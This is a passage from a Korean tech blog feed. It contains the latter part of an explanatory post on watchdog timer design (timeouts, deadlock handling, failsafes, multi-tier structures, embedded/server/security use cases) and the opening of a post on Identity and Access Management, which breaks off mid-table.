<h3 id="23-하드웨어-및-소프트웨어-watchdog-구조-비교">2.3 하드웨어 및 소프트웨어 Watchdog 구조 비교</h3>
<h4 id="231-설계-방식-차이">2.3.1 설계 방식 차이</h4>
<table>
<thead>
<tr>
<th><strong><em>구분</em></strong></th>
<th><strong><em>하드웨어 Watchdog</em></strong></th>
<th><strong><em>소프트웨어 Watchdog</em></strong></th>
</tr>
</thead>
<tbody><tr>
<td>구현 위치</td>
<td>마이크로컨트롤러 내부 혹은 외부 칩</td>
<td>OS 커널, 데몬 프로세스 등</td>
</tr>
<tr>
<td>감시 대상</td>
<td>전체 시스템 (하드웨어 포함)</td>
<td>주로 소프트웨어 또는 프로세스</td>
</tr>
<tr>
<td>리셋 방식</td>
<td>물리적 리셋 핀 트리거</td>
<td>논리적 재시작, 프로세스 재시작</td>
</tr>
<tr>
<td>독립성</td>
<td>매우 높음 (OS 고장 시에도 동작)</td>
<td>낮음 (OS 의존적)</td>
</tr>
<tr>
<td>복원력</td>
<td>강력한 초기화 가능</td>
<td>제한적 복구만 가능</td>
</tr>
</tbody></table>
<h4 id="232-장단점-및-적용-환경">2.3.2 장단점 및 적용 환경</h4>
<ul>
<li><p><strong>하드웨어 Watchdog</strong></p>
<ul>
<li><strong>장점</strong>: 시스템 전반에 대해 신뢰성 높은 감시 가능, OS 및 소프트웨어 레벨 장애에도 대응 가능</li>
<li><strong>단점</strong>: 복잡한 설계 요구, 일부 MCU에서 추가 비용 발생</li>
<li><strong>적용 환경</strong>: 산업 제어 시스템, 항공우주, 무인기, 임베디드 시스템 등 고신뢰 환경</li>
</ul>
</li>
<li><p><strong>소프트웨어 Watchdog</strong></p>
<ul>
<li><strong>장점</strong>: 구현이 유연하며 복잡한 로직 수행 가능, 시스템 상태에 따른 정교한 제어 가능</li>
<li><strong>단점</strong>: 자체 장애 발생 시 무력화될 수 있음, OS 이상 상태 감지에 한계</li>
<li><strong>적용 환경</strong>: 일반 서버, 사용자 공간 프로세스 감시, 테스트 환경 등</li>
</ul>
</li>
</ul>
<p>실제 시스템에서는 <strong>하드웨어 + 소프트웨어 Watchdog을 병행</strong>하여 설계함으로써, 고장 감지 범위와 복구 범위를 넓히는 접근이 일반적이다.</p>
<hr>
<h2 id="3-watchdog-설계-시-고려사항">3. Watchdog 설계 시 고려사항</h2>
<h3 id="31-타임아웃-설정-전략">3.1 타임아웃 설정 전략</h3>
<h4 id="311-시스템-부하-및-응답-시간-고려">3.1.1 시스템 부하 및 응답 시간 고려</h4>
<p>Watchdog의 핵심 구성요소인 타임아웃(Timeout) 값은 시스템의 응답성과 처리 부하를 면밀히 고려하여 설정되어야 한다. 일반적으로 타임아웃 값은 다음 요소에 기반해 산출된다.</p>
<ul>
<li><p><strong>최대 작업 소요 시간(Max Response Time)</strong>: 시스템이 처리하는 작업 중 가장 오래 걸리는 작업을 기준으로 설정한다. 이 값보다 짧으면 오탐(false positive)이 발생할 수 있다.</p>
</li>
<li><p><strong>최대 시스템 부하 시의 평균 응답 시간</strong>: CPU, 메모리, I/O가 모두 과부하 상태일 때에도 시스템이 정상 작동을 지속할 수 있도록 여유 시간을 확보해야 한다.</p>
</li>
<li><p><strong>우선순위 기반 연산</strong>: 실시간 시스템에서는 고우선 프로세스가 저우선 감시 루틴을 지연시킬 수 있으므로 이를 고려한 배치가 필요하다.</p>
</li>
<li><p><strong>타임아웃 마진(Margin)</strong>: 일시적인 지연이나 GC(Garbage Collection) 등 OS 내부 요인에 대비해 10~30%의 추가 마진을 두는 것이 일반적이다.</p>
</li>
</ul>
<p>또한, Watchdog의 설정값은 단일 고정 값(static)으로 설정하는 것보다는, <strong>동적 조정(Dynamic Timeout Adjustment)</strong> 기능을 통해 상황에 따라 유연하게 바뀔 수 있도록 설계하는 것이 바람직하다.</p>
<h4 id="312-잘못된-설정-시-발생-가능한-문제">3.1.2 잘못된 설정 시 발생 가능한 문제</h4>
<p>타임아웃 값이 적절하지 않게 설정될 경우 다음과 같은 문제가 발생할 수 있다.</p>
<ul>
<li><p><strong>과도한 리셋 발생 (False Trigger)</strong>:</p>
<ul>
<li>정상 동작 중에도 Watchdog이 리셋을 트리거함.</li>
<li>시스템 불안정, 데이터 손실, 부하 증가 등 부작용 유발.</li>
</ul>
</li>
<li><p><strong>오류 탐지 지연 (Late Detection)</strong>:</p>
<ul>
<li>타임아웃이 과도하게 길면 실제 오류 발생 후에도 복구가 지연됨.</li>
<li>실시간성과 신뢰성이 중요한 시스템에서는 치명적일 수 있음.</li>
</ul>
</li>
<li><p><strong>비일관성 유지</strong>:</p>
<ul>
<li>동일한 시스템 구성임에도 환경에 따라 결과가 달라지는 상황 발생 가능.</li>
<li>특히 클러스터 기반 환경에서는 개별 노드별 응답 차이를 고려하지 않으면 Watchdog 트리거 타이밍이 비일관하게 된다.</li>
</ul>
</li>
</ul>
<p>따라서 <strong>타임아웃 설정은 단순한 시간값 입력이 아니라, 시스템의 특성과 워크로드를 종합적으로 고려한 엔지니어링 작업</strong>으로 접근해야 한다.</p>
<h3 id="32-오작동-및-오탐-방지-대책">3.2 오작동 및 오탐 방지 대책</h3>
<h4 id="321-deadlock-및-live-lock-상황-분석">3.2.1 &quot;Deadlock&quot; 및 &quot;Live-lock&quot; 상황 분석</h4>
<p>Watchdog의 기본 전제는 &quot;시스템이 정상적으로 기능하고 있으면 주기적으로 신호를 보낼 수 있다&quot;는 점이다. 그러나 이 전제가 다음과 같은 병목 현상에 의해 깨질 수 있다.</p>
<ul>
<li><p><strong>Deadlock(교착 상태)</strong>:</p>
<ul>
<li>둘 이상의 프로세스가 서로 자원을 기다리며 무한 대기 상태에 빠짐.</li>
<li>이 경우 Watchdog 킥 로직이 호출되지 않아 타임아웃이 발생하지만, 원인은 프로그램 로직에 있음.</li>
</ul>
</li>
<li><p><strong>Live-lock(활동성 정지 상태)</strong>:</p>
<ul>
<li>프로세스가 계속해서 동작하고 있으나 유의미한 진전을 하지 못하는 상태.</li>
<li>예: 무한 루프 내에서 &quot;킥&quot; 신호만 계속 발생 → Watchdog은 시스템이 정상이라 오판함.</li>
</ul>
</li>
</ul>
<p>이를 방지하기 위해 다음과 같은 구조를 설계해야 한다.</p>
<ul>
<li><strong>다중 조건 기반 헬스 체크</strong>: 단순히 루프 실행 여부가 아닌, I/O 응답, 프로세스 상태, 리소스 사용률 등 복합적인 기준으로 Watchdog 킥 수행.</li>
<li><strong>소프트웨어 트레이스/디버깅 포인트 삽입</strong>: 문제 발생 시 적절한 스택 추적을 통해 deadlock 분석이 가능하도록 구성.</li>
<li><strong>최소 동작 단위(Minimum Progress Unit)</strong> 설계: 일정 주기 내 반드시 수행되어야 할 함수나 이벤트가 정상 처리되었는지를 기준으로 Watchdog 킥 여부 판단.</li>
</ul>
<h4 id="322-안전장치failsafe-구현-방안">3.2.2 안전장치(Failsafe) 구현 방안</h4>
<p>Watchdog 자체가 잘못 동작하거나, 의도치 않은 트리거가 발생하는 경우를 대비해 <strong>Failsafe(고장 안전장치)</strong> 를 설계하는 것이 매우 중요하다.</p>
<ul>
<li><p><strong>2중 Watchdog 구조(Dual Watchdog)</strong>:</p>
<ul>
<li>소프트웨어 Watchdog이 하드웨어 Watchdog을 주기적으로 체크하고, 반대로 하드웨어 Watchdog이 소프트웨어 이상을 감시.</li>
</ul>
</li>
<li><p><strong>Watchdog 비활성화 임계 조건 설정</strong>:</p>
<ul>
<li>특정 조건 하에서 일시적으로 Watchdog 기능을 비활성화하거나 Grace Period를 적용.</li>
<li>예: 시스템 부팅 중, 커널 패치 적용 중 등</li>
</ul>
</li>
<li><p><strong>킥 트리거 인증 로직</strong>:</p>
<ul>
<li>킥 시 일정 조건(예: 키 해시, 타임스탬프 인증 등)을 만족해야만 Watchdog이 수락하도록 구현.</li>
</ul>
</li>
<li><p><strong>킥 루틴 보호</strong>:</p>
<ul>
<li>무한 루프 내에서 단순 호출이 아니라, 상태 검사 → 조건 충족 시 킥으로 제한.</li>
</ul>
</li>
</ul>
<p>이러한 failsafe 메커니즘은 Watchdog의 신뢰성과 안정성을 보장하는 중요한 수단이다.</p>
<h3 id="33-장애-복구-및-롤백-전략">3.3 장애 복구 및 롤백 전략</h3>
<h4 id="331-시스템-상태-보존복구-설계">3.3.1 시스템 상태 보존/복구 설계</h4>
<p>Watchdog의 리셋은 단순한 재부팅에 그치지 않고, <strong>장애 복구를 위한 사전 준비 및 사후 조치</strong>가 함께 수행되어야 한다.</p>
<ul>
<li><p><strong>비휘발성 로그 저장</strong>:</p>
<ul>
<li>리셋 직전의 시스템 상태, 메모리, 로그를 NVRAM, eMMC 등에 기록.</li>
</ul>
</li>
<li><p><strong>세션 복원/롤백 기능</strong>:</p>
<ul>
<li>사용자 세션이나 프로세스 상태가 중요한 시스템의 경우, 세션 스냅샷 또는 체크포인트를 활용한 복원이 필요함.</li>
</ul>
</li>
<li><p><strong>복구 우선 순위 정책 적용</strong>:</p>
<ul>
<li>복구 시 어떤 서비스부터 우선 재기동할 것인지 정의하고, 그에 따라 순차적으로 복구 수행.</li>
</ul>
</li>
</ul>
<h4 id="332-복구-실패-시-이중화-전략">3.3.2 복구 실패 시 이중화 전략</h4>
<p>Watchdog의 리셋이나 복구가 실패하거나 무한 루프에 빠질 경우를 대비해 <strong>이중화(Fault Tolerance)</strong> 구조를 반드시 설계해야 한다.</p>
<ul>
<li><p><strong>이중 MCU 구조(Dual Core or Redundant MCU)</strong>:</p>
<ul>
<li>메인 MCU가 실패할 경우, 대기 MCU가 감지 후 제어를 인계받는 구조.</li>
</ul>
</li>
<li><p><strong>Failover 시스템</strong>:</p>
<ul>
<li>고가용성(HA) 환경에서는 메인 시스템이 Watchdog에 의해 다운될 경우 자동으로 백업 시스템이 서비스 인계.</li>
</ul>
</li>
<li><p><strong>Watchdog Cascade 구조</strong>:</p>
<ul>
<li>Watchdog 타임아웃 → 리셋 실패 → 시스템 셧다운 순으로 점진적으로 복구 수단 강화.</li>
</ul>
</li>
</ul>
<p>이중화는 Watchdog의 <strong>복원 한계를 보완하는 궁극적인 안전장치</strong>로 간주된다. 설계 초기 단계에서부터 고려되어야 한다.</p>
<hr>
<h2 id="4-watchdog-설계-심화-및-최적화">4. Watchdog 설계 심화 및 최적화</h2>
<h3 id="41-다중-계층-watchdogmulti-tiered-watchdog-설계">4.1 다중 계층 Watchdog(Multi-tiered Watchdog) 설계</h3>
<h4 id="411-계층별-역할과-상호작용-구조">4.1.1 계층별 역할과 상호작용 구조</h4>
<p>다중 계층 Watchdog(Multi-tiered Watchdog)은 단일 감시 구조의 한계를 보완하고, 시스템의 다양한 계층을 상호 독립적으로 감시하기 위해 고안된 설계 방식이다. 일반적으로 다음과 같은 계층 구조를 따른다.</p>
<ul>
<li><p><strong>1계층: 애플리케이션 계층 Watchdog</strong></p>
<ul>
<li>각 사용자 애플리케이션에서 자체적으로 상태 점검 및 이벤트 확인을 수행.</li>
<li>일정 시간 동안 특정 이벤트가 발생하지 않으면 자체적으로 재시도하거나 상위 감시 계층에 알림 전송.</li>
</ul>
</li>
<li><p><strong>2계층: 운영체제/커널 수준 Watchdog</strong></p>
<ul>
<li>OS Scheduler, Memory Manager, Driver 상태 등을 감시.</li>
<li>사용자 프로세스의 감시 신호를 종합적으로 판단하여 문제가 감지되면 제한적 재시작이나 롤백을 수행.</li>
</ul>
</li>
<li><p><strong>3계층: 하드웨어 Watchdog (MCU/PMIC 내장)</strong></p>
<ul>
<li>가장 하위 수준의 하드웨어 회로 기반으로 동작.</li>
<li>소프트웨어 Watchdog이 응답하지 않거나 전체 시스템이 멈췄을 때 하드 리셋 수행.</li>
</ul>
</li>
</ul>
<p>각 계층은 <strong>독립적으로 감시 기능을 수행하며</strong>, 특정 계층의 감시가 실패했을 경우 상위/하위 계층이 이를 보완한다. 이와 같은 구조는 <strong>고장 전파를 최소화하고 복구 단계를 세분화</strong>하는 데 매우 유리하다.</p>
<p>또한 계층 간 상호작용은 다음과 같은 형태로 이루어진다.</p>
<ul>
<li>하위 계층 Watchdog은 상위 계층에서 오는 주기적인 “킥” 신호 수신 여부로 상위 상태를 판단.</li>
<li>상위 계층은 하위 계층의 리셋 이력 및 실패 로그를 수집해 문제 원인을 분석.</li>
<li>일부 설계에서는 계층 간 트리거 정책을 차별화해 <strong>단순 장애 / 치명적 오류</strong>를 구분해 처리할 수 있도록 구성한다.</li>
</ul>
<h4 id="412-주요-활용-사례-및-장점">4.1.2 주요 활용 사례 및 장점</h4>
<p>이 설계 방식이 제공하는 주요 기술적 이점은 다음과 같다.</p>
<ul>
<li><strong>감시 범위의 다변화</strong>: 단일 Watchdog으로 포착 불가능한 세부 시스템 결함을 포착 가능.</li>
<li><strong>고장 대응의 단계화</strong>: 오류 발생 시 점진적으로 복구 단계를 밟아 전체 리셋을 지연하거나 방지 가능.</li>
<li><strong>시스템 분석 정확도 향상</strong>: 각 계층이 개별 로그를 남기므로 문제 발생 지점을 정밀하게 추적 가능.</li>
<li><strong>설계 유연성 확보</strong>: 사용 환경에 따라 특정 계층을 비활성화하거나 재구성하는 것이 용이함.</li>
</ul>
<h3 id="42-watchdog-성능-최적화">4.2 Watchdog 성능 최적화</h3>
<h4 id="421-리소스-사용-최소화-방안">4.2.1 리소스 사용 최소화 방안</h4>
<p>Watchdog은 시스템을 감시해야 하는 위치에 항상 상주해야 하므로, 가능한 한 적은 자원(CPU, 메모리, 전력 등)을 사용하도록 최적화해야 한다. 이를 위한 구체적 방안은 다음과 같다.</p>
<ul>
<li><p><strong>인터럽트 기반 구조 채택</strong>:</p>
<ul>
<li>폴링(Polling) 방식이 아닌, 이벤트 기반 인터럽트 구조를 활용하면 CPU 점유율 최소화 가능.</li>
</ul>
</li>
<li><p><strong>디퍼드(Deferred) 실행 기법</strong>:</p>
<ul>
<li>타이머 콜백이나 낮은 우선순위의 쓰레드를 활용해 감시 루틴을 시스템 유휴 시간에 수행.</li>
</ul>
</li>
<li><p><strong>Watchdog 전용 코프로세서 사용</strong>:</p>
<ul>
<li>메인 프로세서 외의 보조 MCU나 PMIC에서 Watchdog 기능을 실행시켜, 주 시스템 자원과 분리.</li>
</ul>
</li>
<li><p><strong>저전력 모드 대응</strong>:</p>
<ul>
<li>시스템이 슬립 모드에 진입하는 경우, Watchdog 타이머도 함께 일시 정지하거나 특별한 슬립 전용 타이머 사용.</li>
</ul>
</li>
</ul>
<p>이러한 기법들을 통해 감시 기능을 유지하면서도 <strong>전력 효율성과 자원 점유율을 최소화</strong>할 수 있다.</p>
<h4 id="422-타임아웃리셋-프로세스-최적화">4.2.2 타임아웃/리셋 프로세스 최적화</h4>
<p>성능 최적화는 단순히 리소스를 아끼는 데 그치지 않으며, 리셋 및 복구 자체의 효율성도 고려 대상이 된다.</p>
<ul>
<li><p><strong>리셋 분기 로직 분리</strong>:</p>
<ul>
<li>시스템 전반을 리셋할지, 일부 서비스만 재시작할지 판단 가능한 논리 구조를 설계.</li>
</ul>
</li>
<li><p><strong>비동기 타임아웃 검출</strong>:</p>
<ul>
<li>Watchdog이 주기적인 감시가 아닌 이벤트 기반 타임아웃 트리거를 통해 비동기 동작을 수행함으로써 병목 방지.</li>
</ul>
</li>
<li><p><strong>선형 증분 타임아웃 방식</strong>:</p>
<ul>
<li>문제가 반복되는 경우, 타임아웃 값을 점차 증가시켜 불필요한 반복 리셋을 방지하고 진단 기회를 확보.</li>
</ul>
</li>
</ul>
<p>이러한 방식은 시스템의 <strong>회복 가능성 제고와 리셋 오버헤드 최소화</strong>에 큰 도움을 준다.</p>
<h3 id="43-watchdog의-한계와-개선-방향">4.3 Watchdog의 한계와 개선 방향</h3>
<h4 id="431-기존-watchdog-설계의-한계">4.3.1 기존 Watchdog 설계의 한계</h4>
<p>기존 Watchdog 구조는 단순한 타이머 기반 감시 시스템으로서, 다음과 같은 기술적 한계를 지닌다.</p>
<ul>
<li><p><strong>이진적 판단 구조</strong>:</p>
<ul>
<li>킥 신호 유무만으로 시스템 상태를 판단하므로, 동작 중 오류나 성능 저하를 감지하지 못함.</li>
</ul>
</li>
<li><p><strong>비컨텍스트 감시</strong>:</p>
<ul>
<li>Watchdog은 애플리케이션의 내부 상태나 외부 통신 상태를 고려하지 않음. 단순히 함수가 실행되었다는 사실만을 판단.</li>
</ul>
</li>
<li><p><strong>무차별 리셋 문제</strong>:</p>
<ul>
<li>오류의 원인, 복구 가능성 등을 분석하지 않고 시스템을 일괄 리셋함.</li>
</ul>
</li>
<li><p><strong>보안 공격에 취약</strong>:</p>
<ul>
<li>Watchdog이 우회되거나 킥 루틴이 악의적으로 조작될 수 있음 (예: 무한 루프 내에서 무의미한 킥 발생).</li>
</ul>
</li>
</ul>
<p>이러한 구조적 한계는 고신뢰성, 고복잡도 시스템에서는 치명적이다.</p>
<h4 id="432-보안성-및-안정성-강화-방안">4.3.2 보안성 및 안정성 강화 방안</h4>
<p>Watchdog의 설계를 고도화하여 보안성과 안정성을 강화하려면 다음과 같은 기술이 적용되어야 한다.</p>
<ul>
<li><p><strong>컨텍스트 인식 감시 (Context-Aware Monitoring)</strong>:</p>
<ul>
<li>단순한 타이머 감시가 아니라, 상태머신 기반의 시스템 상태 트래킹을 도입.</li>
<li>예: 현재 처리 중인 요청의 수, 응답률, 메모리 사용률 등 다차원 데이터 기반의 판단.</li>
</ul>
</li>
<li><p><strong>시그니처 기반 킥 루틴 설계</strong>:</p>
<ul>
<li>Watchdog 킥 루틴에 암호화된 서명 혹은 인증된 상태 데이터를 첨부하도록 하여, 위조 신호 차단.</li>
</ul>
</li>
<li><p><strong>리셋 전 의사결정 로직 추가</strong>:</p>
<ul>
<li>시스템 리셋 전 간단한 진단 루틴을 수행하고, 복구 가능 여부에 따라 리셋 여부 결정.</li>
</ul>
</li>
<li><p><strong>무결성 검증</strong>:</p>
<ul>
<li>Watchdog 코드와 설정값이 tamper-free 상태임을 부팅 시점 또는 주기적으로 확인 (예: Secure Boot 연계).</li>
</ul>
</li>
<li><p><strong>보안 내성 강화 구조</strong>:</p>
<ul>
<li>Watchdog 킥 API 자체를 제한된 프로세스만 접근 가능하도록 설정하고, 권한 상승 취약점 방어.</li>
</ul>
</li>
</ul>
<p>이러한 방식은 Watchdog을 단순 감시기가 아닌, <strong>지능형 시스템 안정화 컴포넌트로 발전</strong>시키는 기반이 된다.</p>
<hr>
<h2 id="5-watchdog-활용-사례-알아보기">5. Watchdog 활용 사례 알아보기</h2>
<h3 id="51-임베디드-시스템">5.1 임베디드 시스템</h3>
<p>임베디드 시스템은 자율적인 동작이 요구되며, 종종 원격지 또는 무인 환경에서 운용된다. 따라서 <strong>시스템 자체의 자기 복구 능력(self-recovery)</strong> 확보가 필수적이며, Watchdog은 핵심적인 안전 메커니즘으로 기능한다.</p>
<ul>
<li><p><strong>대표적인 환경</strong>:</p>
<ul>
<li>산업 제어 시스템, 자동차 ECU, IoT 센서 노드, 가전제품 등.</li>
</ul>
</li>
<li><p><strong>기술적 활용 방식</strong>:</p>
<ul>
<li>대부분 MCU에 내장된 <strong>하드웨어 Watchdog Timer(WDT)</strong> 사용.</li>
<li>Watchdog은 메인 루프나 인터럽트 루틴 내에서 주기적으로 “킥”되며, 지정된 시간 동안 신호가 없을 경우 시스템 리셋 수행.</li>
<li><strong>WDT 초기화 지연을 통한 부팅 장애 감지</strong>: 부팅 루틴 도중 WDT가 적절히 초기화되지 않으면 부팅 루프에 빠진 것으로 판단.</li>
<li><strong>Flash나 EEPROM 무결성 오류 감지 시 리셋 트리거</strong>: 비정상적인 플래시 접근이 감지될 경우, Watchdog이 하드 리셋 수행.</li>
</ul>
</li>
<li><p><strong>특징</strong>:</p>
<ul>
<li>리소스가 제한된 환경이므로 Watchdog의 간결성과 신뢰성이 특히 중요하다.</li>
<li>종종 시스템 전원관리(PMIC)와 직접 연결되어 하드웨어 레벨에서 <strong>전원 재인가(reset pulse)</strong> 가 수행된다.</li>
</ul>
</li>
</ul>
<h3 id="52-서버-및-클라우드-환경">5.2 서버 및 클라우드 환경</h3>
<p>서버 및 클라우드 인프라에서는 복잡한 소프트웨어 구성과 고가용성이 요구되며, Watchdog은 <strong>서비스 연속성 확보 및 오작동 감지</strong>를 위한 중요한 기제로 활용된다.</p>
<ul>
<li><p><strong>서버 내 감시 구조</strong>:</p>
<ul>
<li>리눅스에서는 <code>/dev/watchdog</code> 디바이스 인터페이스를 통해 커널 또는 사용자 공간에서 Watchdog을 제어 가능.</li>
<li>시스템 관리자나 데몬(<code>systemd</code>, <code>monit</code>, <code>watchdogd</code> 등)이 해당 디바이스에 주기적으로 쓰기 작업을 수행하며, 이 작업이 중단되면 커널 수준에서 재부팅 명령이 수행된다.</li>
</ul>
</li>
<li><p><strong>클라우드 VM 및 컨테이너 환경</strong>:</p>
<ul>
<li>가상화 환경에서는 호스트 하이퍼바이저 수준에서 Guest VM의 비정상 동작을 감시.</li>
<li>예: QEMU 기반의 KVM에서 <code>i6300esb</code> Watchdog 장치를 에뮬레이션하여 게스트 OS 내에 감시 루틴을 설치.</li>
<li>Kubernetes 환경에서는 <strong>Liveness Probe/Readiness Probe</strong> 가 Watchdog과 유사한 역할을 수행. 응답 실패 시 컨테이너 재시작을 트리거함.</li>
</ul>
</li>
<li><p><strong>기술적 이점</strong>:</p>
<ul>
<li>사용자 수준의 오류(애플리케이션 무응답 등)를 커널 수준에서 감지하여 빠른 복구 가능.</li>
<li>서비스 이중화(Failover)나 로드밸런싱 구조와 연계하여 <strong>중단 없는 장애 대응 체계</strong> 확보 가능.</li>
<li>로그 연계 및 알림 시스템과 결합해 감시/경고 체계 구성 가능</li>
</ul>
</li>
</ul>
<h3 id="53-보안-시스템">5.3 보안 시스템</h3>
<p>보안 시스템에서의 Watchdog 활용은 단순한 감시 기능을 넘어, <strong>이상 탐지와 무결성 보장</strong>을 위한 수단으로 확장된다.</p>
<ul>
<li><p><strong>감시 대상의 특수성</strong>:</p>
<ul>
<li>보안 시스템은 침입 탐지(IDS/IPS), 방화벽, 인증 시스템 등 <strong>24시간 가동이 필수적인 서비스</strong>를 운영.</li>
<li>시스템이 정지하거나 오작동하면 보안 기능이 완전히 무력화될 수 있으므로, <strong>가용성 확보가 보안성의 일부</strong>로 간주된다.</li>
</ul>
</li>
<li><p><strong>Watchdog 기반 무결성 감시 및 공격 대응</strong>:</p>
<ul>
<li>Watchdog 루틴은 특정 <strong>보안 로그, 메모리 영역, 설정 파일의 무결성 상태</strong>를 감시하도록 설계될 수 있다.</li>
<li>예: Watchdog이 주기적으로 해시값을 비교하여, 설정 파일이 조작되었을 경우 시스템 자동 롤백 또는 리셋 수행.</li>
</ul>
</li>
<li><p><strong>자체 Watchdog 보호</strong>:</p>
<ul>
<li>공격자가 Watchdog 자체를 중지시키거나 우회할 수 없도록 <strong>커널 공간에 위치</strong>하거나 <strong>Secure Boot</strong> 와 연동된 코드 무결성 검증 기능을 탑재.</li>
<li>일부 보안 시스템에서는 Watchdog이 꺼졌거나 비활성화되었을 경우 이를 <strong>침해 사고의 징후로 간주하고 알림을 발생</strong>시키기도 한다.</li>
</ul>
</li>
<li><p><strong>하드웨어 보안 모듈(HSM) 연계</strong>:</p>
<ul>
<li>Watchdog이 HSM의 동작 상태를 감시하거나, HSM에서 Watchdog 신호의 진위 여부를 확인하는 양방향 구조를 형성.</li>
</ul>
</li>
<li><p><strong>응용 예시(기술적 구성)</strong>:</p>
<ul>
<li>실시간 감시 대상이 많은 경우, 멀티스레드 기반의 비동기 감시 루틴을 설계하고, Watchdog은 각 스레드의 헬스체크 신호를 종합하여 판단.</li>
<li>이를 통해 단일 서비스만 죽었는지, 전체 보안 시스템에 문제가 있는지를 정확히 판단할 수 있음.</li>
</ul>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[Daily CS) IAM]]></title>
            <link>https://velog.io/@lilac_21/Daily-CS-IAM</link>
            <guid>https://velog.io/@lilac_21/Daily-CS-IAM</guid>
            <pubDate>Mon, 28 Apr 2025 10:28:17 GMT</pubDate>
            <description><![CDATA[<h1 id="iam">IAM</h1>
<blockquote>
<p>Identity and Access Management</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/402d7f18-dfd1-4559-a1c6-50308b250d9a/image.png" alt=""></p>
<p>오늘의 주제는 IAM이다. 뉴스 기사를 보다가 알게 된 단어인데, 다뤄볼 만한 가치가 있다고 생각되어 정리하게 되었다. 그리고 오늘부터는 주제들을 조금 컴팩트하게 다뤄볼 생각이다. 너무 길어지니까 2~3일은 잡아먹더라...</p>
<hr>
<h2 id="1-iam-개요">1. IAM 개요</h2>
<h3 id="11-iam의-정의">1.1 IAM의 정의</h3>
<p>IAM(Identity and Access Management)이란 정보 시스템에서 사용자의 신원을 관리하고, 적절한 자원에 대한 접근 권한을 통제하는 기술적·관리적 체계를 의미한다.<br>IAM은 단순히 사용자 계정을 생성하고 삭제하는 것을 넘어, 사용자 인증(Authentication), 인가(Authorization), 권한 할당, 세션 관리, 접근 기록 감사(Audit) 등을 포괄하는 개념이다.</p>
<p>IAM 시스템은 사용자, 그룹, 역할(Role) 등의 엔티티(Entity)를 체계적으로 관리하며, 이들이 애플리케이션, 데이터베이스, 서버, 네트워크 장비 등 다양한 정보 자산에 접근할 때, 정해진 정책(Policy)과 규칙에 따라 접근 여부를 결정한다.<br>이는 조직의 정보 보안 수준을 유지하고, 법적 규제 준수를 보장하며, 내부자 위협 및 외부 공격으로부터 자산을 보호하기 위한 필수 요소로 간주된다.</p>
<p>IAM은 다음과 같은 세 가지 핵심 기능을 수행한다.</p>
<ul>
<li><strong>인증(Authentication)</strong>: 사용자의 신원을 검증하여 시스템에 접근할 수 있도록 하는 절차이다.</li>
<li><strong>인가(Authorization)</strong>: 인증된 사용자에게 부여된 권한에 따라 자원 접근을 허용하거나 거부하는 절차이다.</li>
<li><strong>계정 및 권한 관리(Account and Access Management)</strong>: 사용자 계정의 생성, 변경, 비활성화, 삭제 및 권한의 부여와 회수를 관리하는 절차이다.</li>
</ul>
<p>IAM은 단일 시스템이 아닌 다양한 기술과 프로세스를 조합하여 구축되며, 기업 내부 환경뿐만 아니라 클라우드 및 하이브리드 환경에서도 점점 더 중요성이 커지고 있다.</p>
<h3 id="12-iam의-필요성">1.2 IAM의 필요성</h3>
<p>IAM은 정보 자산 보호, 사용자 관리 효율화, 규제 준수 등의 측면에서 필수적인 역할을 수행한다.<br>그 필요성은 다음과 같은 구체적 이유를 통해 설명할 수 있다.</p>
<h4 id="1-정보-보안-강화">1) 정보 보안 강화</h4>
<p>IAM은 올바른 사용자만 적절한 리소스에 접근할 수 있도록 제한함으로써, 내부자 위협 및 외부 공격을 방지한다. 특히 다단계 인증(MFA)이나 최소 권한 부여(Least Privilege) 같은 전략을 통해 무단 접근을 효과적으로 차단할 수 있다.</p>
<h4 id="2-규제-준수-대응">2) 규제 준수 대응</h4>
<p>ISO/IEC 27001, GDPR, HIPAA, SOX법 등 다양한 국제 규제 및 산업 표준은 사용자 신원 확인과 접근 제어를 필수 요구사항으로 규정하고 있다.<br>IAM은 이러한 요구사항을 만족시키는 핵심 수단으로 활용되며, 감사(Audit) 기능을 통해 접근 이력을 체계적으로 기록하고 보고할 수 있다.</p>
<h4 id="3-운영-효율성-증대">3) 운영 효율성 증대</h4>
<p>IAM 솔루션을 도입하면 신규 직원 온보딩(Onboarding), 직무 변경 시 권한 조정, 퇴사자 계정 삭제 등을 자동화할 수 있어 관리자의 수작업 부담을 줄일 수 있다.<br>또한 SSO(Single Sign-On) 같은 기능을 통해 사용자 경험을 향상시키고, 다수 시스템에 대한 인증 절차를 간소화할 수 있다.</p>
<h4 id="4-클라우드-및-하이브리드-환경-대응">4) 클라우드 및 하이브리드 환경 대응</h4>
<p>기업이 클라우드 및 하이브리드 인프라를 도입함에 따라, 물리적 경계가 사라지고 있다. 이로 인해 네트워크 기반 보안만으로는 자산을 보호할 수 없게 되었으며, 신원 기반 접근 통제가 필수화되었다.<br>IAM은 다양한 환경에서도 일관된 보안 정책을 적용할 수 있게 함으로써, 조직 전반의 보안 수준을 균일하게 유지할 수 있도록 지원한다.</p>
<hr>
<h2 id="2-iam-주요-구성-요소">2. IAM 주요 구성 요소</h2>
<h3 id="21-인증authentication">2.1 인증(Authentication)</h3>
<p>인증(Authentication)은 사용자가 주장하는 신원을 검증하는 절차를 의미한다. 시스템은 사용자가 제공하는 정보(예: 비밀번호, 인증서, 생체 정보 등)를 바탕으로 그 사용자가 실제로 누구인지 확인한다.</p>
<p>인증 방식은 다음과 같이 구분된다.</p>
<ul>
<li><strong>지식 기반(Knowledge-Based)</strong>: 사용자가 알고 있는 정보(예: 비밀번호, PIN)로 인증한다.</li>
<li><strong>소지 기반(Possession-Based)</strong>: 사용자가 소유하고 있는 물리적 또는 디지털 매체(예: 스마트카드, OTP 토큰)로 인증한다.</li>
<li><strong>특성 기반(Inherence-Based)</strong>: 사용자의 고유한 생체 정보(예: 지문, 홍채, 얼굴 인식)로 인증한다.</li>
</ul>
<p>현대의 IAM 시스템은 보안 강화를 위해 다단계 인증(MFA, Multi-Factor Authentication)을 채택하고 있으며, 이는 서로 다른 유형의 인증 수단을 조합하여 신원 검증을 강화하는 방법이다.</p>
<h4 id="예시-표-인증-방법별-비교">예시 표: 인증 방법별 비교</h4>
<table>
<thead>
<tr>
<th>인증 방법</th>
<th>특징</th>
<th>장점</th>
<th>단점</th>
</tr>
</thead>
<tbody><tr>
<td><strong>비밀번호</strong></td>
<td>기억하는 정보</td>
<td>간편성</td>
<td>탈취 위험</td>
</tr>
<tr>
<td><strong>OTP 토큰</strong></td>
<td>소지하는 장치</td>
<td>일회성, 높은 보안성</td>
<td>장치 분실 가능성</td>
</tr>
<tr>
<td><strong>지문 인식</strong></td>
<td>생체 정보 기반</td>
